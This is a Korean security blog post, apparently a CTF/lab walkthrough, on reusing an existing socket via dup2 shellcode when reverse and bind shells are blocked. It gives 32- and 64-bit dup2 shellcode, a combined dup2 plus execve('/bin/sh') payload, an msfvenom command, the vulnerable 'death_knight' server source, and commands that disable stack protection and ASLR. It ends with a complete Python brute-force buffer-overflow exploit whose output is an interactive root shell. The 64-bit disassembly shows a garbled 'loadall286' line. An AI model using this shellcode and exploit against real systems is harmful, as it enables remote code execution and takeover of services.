CTF를 풀때 정말 난감한 환경들이 있다.
예를들어, 특히 우리학교.
우리학교처럼 외부접속을 아예 막아버린 상태에선 리버스텔넷이 불가능하다.
이런 상황에서 CTF서버측에 방화벽이 켜져있으면 바인드쉘도 불가능하기때문에, 다른방법을 써야하는데
dup2+쉘을 이용하면 가능하다.
dup2에 대해서 우선 설정하자면, dup2(a,b) 의 형식인데
원래 dup 함수에 대해 검색해보면 알겟지만, 파일 디스크립터를 복사해주는 역할을 하고 파일디스크립터 번호를 안쓰는 랜덤번호로 지정해준다.
dup대신 dup2를 쓰게되면, 번호를 지정해서 변경할수 있는데, 파일디스크립터 a를 특정번호 b로 지정해준다.
이때, b를 1로 지정해주게되면 stdout으로 지정이 되어, stdout의 결과가 클라이언트로 전송이 된다.
그래서, dup2 쉘코드를 먼저 실행시킨후, 특정 명령을 하는 쉘코드를 실행하고, 그 결과를 stdout으로 출력하면, 프린트 결과물이 이미 연결되어있는 소켓을 통해 공격자의 컴퓨터로 전송이 된다.
64비트용과 32비트용의 dup2 쉘코드 예제를 보겠다.
# ndisasm -b 64 test 00000000 4831C0 xor rax,rax 00000003 B021 mov al,0x21 ; dup2 콜 번호를 설정한다. 00000005 4831FF xor rdi,rdi 00000008 40B708 mov dil,0x8 ; fd 번호를 설정한다. 0000000B 4831F6 xor rsi,rsi 0000000E 48FFC6 inc rsi ; rsi를 1로 맞춰서 stdout에 맞춘다. 00000011 0F05 loadall286 |
64비트 (stdout만 변경)
# ndisasm -b 32 test 00000000 31C9 xor ecx,ecx 00000002 B102 mov cl,0x2 00000004 31DB xor ebx,ebx 00000006 B341 mov bl,0x41 ; fd 번호를 설정한다. (여기선 41) 00000008 31C0 xor eax,eax 0000000A B03F mov al,0x3f ; dup2 시스템콜 번호를 설정한다. 0000000C CD80 int 0x80 0000000E 49 dec ecx 0000000F 79F7 jns 0x8 |
32비트 (stdin,stdout,stderr 모두 변경)
시스템콜번호는 OS마다 다를수도 있으니, 잘 안되면 정확히 확인해봐야 한다.
(지금까지 확인해본 결과로는, 32비트에서는 모두 0x3f로 동일했다.)
그리고, fd값을 구하는 법에 대해서 고민해봤는데,
찾아보니 3이후의 값을 하나씩 넣어보는 사람도 있었고,
좀더 좋은방법은 결국 fd값도 변수일테니, 그 변수의 위치를 찾아서 ebx에 넣어줘도 된다.
(근데, fork를 사용하는 binary의 경우는 어짜피 정해져있기때문에 하나씩 넣어보는것이 편하다.)
그리고나서 metasploit툴에서 제공하는 msfvenom을 이용해 커맨드쉘을 만들고, dup2 뒤에 덮붙이면 된다.
./msfvenom -p linux/x86/exec CMD="/bin/id" -b '\x0a\x00'
좀더 나아가서,
아니면 아예 위에서 보듯이 32비트같은 경우는, 모두 연결해놨기때문에, 리버스텔넷이나 바인드쉘과 같은 효과를 낼수도 있다.
위의 dup2루프 쉘코드와 execve("/bin/sh")를 합쳐서 페이로드로 사용하면 된다.
fd = ?? shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2 shellcode = shellcode.replace("\x41", chr(fd)) # bin/sh shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\ "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" |
(41바이트 / python)
실험을 해보기위해서, BoF 원정대의 death_knight의 소스를 가져와서 테스트를 해보았다.
/* The Lord of the BOF : The Fellowship of the BOF - dark knight - remote BOF */ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <netinet in.h> #include <sys/socket.h> #include <sys/wait.h> main() { char buffer[40]; int server_fd, client_fd; struct sockaddr_in server_addr; struct sockaddr_in client_addr; int sin_size; if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ perror("socket"); exit(1); } server_addr.sin_family = AF_INET; server_addr.sin_port = htons(6666); server_addr.sin_addr.s_addr = INADDR_ANY; bzero(&(server_addr.sin_zero), 8); if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){ perror("bind"); exit(1); } if(listen(server_fd, 10) == -1){ perror("listen"); exit(1); } while(1) { sin_size = sizeof(struct sockaddr_in); if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){ perror("accept"); continue; } if (!fork()){ send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); send(client_fd, "You : ", 6, 0); recv(client_fd, buffer, 256, 0); close(client_fd); break; } close(client_fd); while(waitpid(-1,NULL,WNOHANG) > 0); } close(server_fd); }
death_knight.c
우분투의 환경에서 컴파일 했기때문에, 각종 방어기법을 해제하기 위해서 컴파일 옵션을 줬다.
gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 death_knight.c |
추가로, ASLR을 제거해준다.
echo "0" > /proc/sys/kernel/randomize_va_space |
그리고, /proc/프로세스아이디/fd 를 체크해보면 알겠지만, accept의 소켓번호는 4번이다.
그러므로, exploit을 작성해보면
from socket import * import sys import time fd = 4 shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" shellcode = shellcode.replace("\x41", chr(fd)) shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\ "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" breakall=0 for a in range(0xff,0x01,-1): for b in range(0x00, 0xff, 100): #print hex(a) + hex(b) payload = "" payload += "\x90"*52 payload += chr(b)+chr(a)+"\xff\xbf" # return address payload += "\x90"*100 payload += shellcode s=socket(AF_INET,SOCK_STREAM) s.connect(('127.0.0.1',6666)) while "You" not in s.recv(1024): pass time.sleep(0.0001) s.send(payload) s.send('id\n') get = s.recv(1024) #if get: print get if get.find('id') is not -1: while True: cmd = raw_input('$ ') if cmd == 'exit': s.close() breakall = 1 break s.send(cmd+'\n') result = s.recv(1024) print result s.close() else: s.close() if breakall == 1: break if breakall == 1: break
# python exploit.py $ id uid=0(root) gid=0(root) groups=0(root) |
'Computer Security > System' 카테고리의 다른 글
CVE-2013-2094 리눅스 로컬권한상승 취약점 (7) | 2013.08.06 |
---|---|
Race Condition one-shot exploit (1) | 2013.08.02 |
시스템함수를 통한 리버스텔넷 (추가) (1) | 2013.07.11 |
Hindering ROP Using In-Place Code Randomization (2) | 2013.06.26 |
libc 주소 randomization 해제 트릭 (1) | 2013.05.29 |